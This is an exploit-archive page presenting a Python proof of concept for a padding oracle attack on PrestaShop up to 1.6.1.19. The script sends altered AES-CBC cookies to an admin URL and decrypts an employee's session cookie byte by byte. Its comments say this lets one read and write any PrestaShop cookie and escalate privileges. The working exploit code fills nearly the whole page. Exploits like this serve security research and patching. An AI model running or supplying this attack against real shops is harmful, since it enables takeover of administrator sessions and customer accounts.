PrestaShop < 1.6.1.19 AES CBC Privilege Escalation

2018.07.20
Credit: Charles Fol
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-264

#!/usr/bin/env python3 # PrestaShop <= 1.6.1.19 AES (Rijndael) / openssl_encrypt() Cookie Read # Charles Fol # # See https://ambionics.io/blog/prestashop-privilege-escalation # # This POC will reveal the content of an employee's cookie. # By modifying it one can read/write any PrestaShop cookie. # It is a simple padding oracle implementation. # import requests import urllib.parse import base64 s = requests.Session() """ s.proxies = { 'http': 'localhost:8080', 'https': 'localhost:8080', } #""" # Login as an employee, get your cookie and paste it here along with the URL URL = "http://vmweb5/prestashop/admin177chuncw/" cookie = "PrestaShop-b0ebb4f17b3e451202e5b044e29ed75d=20NxjuYuGVhSt8n0M54Av9Qkpyzl9axkK%2BGgLLCcv0MLQZhLAEV8lnq6U2Ew2n5aMUOYqkrkpqjputuLiBEqqW7pIce8cUv%2F3SEFp3tPnWfCgJgXKUsR1htOQ4KAoXyYLhoc31kVgcm39OhQh5Zg3A78HnO1On2udHwN8dTRdI86kewEFZPNtmMeBF7sAr9zezevsjK1VU4BI84EVXCYQuuhnVehoqfAa9XoZC%2FD3FEmDSuspZw2AUB0S7Py6ks6eEeCVDWieBKDsHD13UK%2FzgM%2F65m5rpU1P4BSQSHN2Qs%3D000208" # Parse blocks and size cookie_name, cookie_value = cookie.split("=") cookie_value = urllib.parse.unquote(cookie_value) cookie_size = cookie_value[-6:] cookie_value = cookie_value[:-6] cookie_value = base64.b64decode(cookie_value) BLOCK_SIZE = 16 def test_padding(data): """Returns true if the padding is correct, false otherwise. One can easily adapt it for customer cookies using: index.php?controller=identity """ data = base64.b64encode(data).decode() data = urllib.parse.quote(data) data = data + cookie_size s.cookies[cookie_name] = data r = s.get(URL, allow_redirects=False) s.cookies.clear() return 'AdminLogin' not in r.headers.get('Location', '') def e(msg): print(msg) exit(1) if not test_padding(cookie_value): e("Invalid cookie (1)") elif test_padding(b"~~~~~"): e("Invalid cookie (2)") # Perform the padding oracle attack result = b'' for b in range(1, len(cookie_value) // BLOCK_SIZE + 1): obtained = [] current_block = cookie_value[(b ) * BLOCK_SIZE:][:BLOCK_SIZE] precedent_block = cookie_value[(b - 1) * BLOCK_SIZE:][:BLOCK_SIZE] for p in range(BLOCK_SIZE): nb_obtained = len(obtained) for i in range(256): pad = nb_obtained + 1 prelude = ( b"\x00" * (BLOCK_SIZE - pad) + bytes([i]) + bytes([o ^ pad for o in obtained][::-1]) ) data = cookie_value + prelude + current_block if test_padding(data): print("Got byte #%d of block #%d: %d" % (p, b, i)) obtained.append(i ^ pad) break else: e("Unable to decode position %d" % p) # Compute the contents of the plaintext block result += bytes([o ^ p for p, o in zip(precedent_block, obtained[::-1])]) try: print("COOKIE: %s" % result.decode()) except UnicodeDecodeError: print("COOKIE: Unable to decode, wait for next block")


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top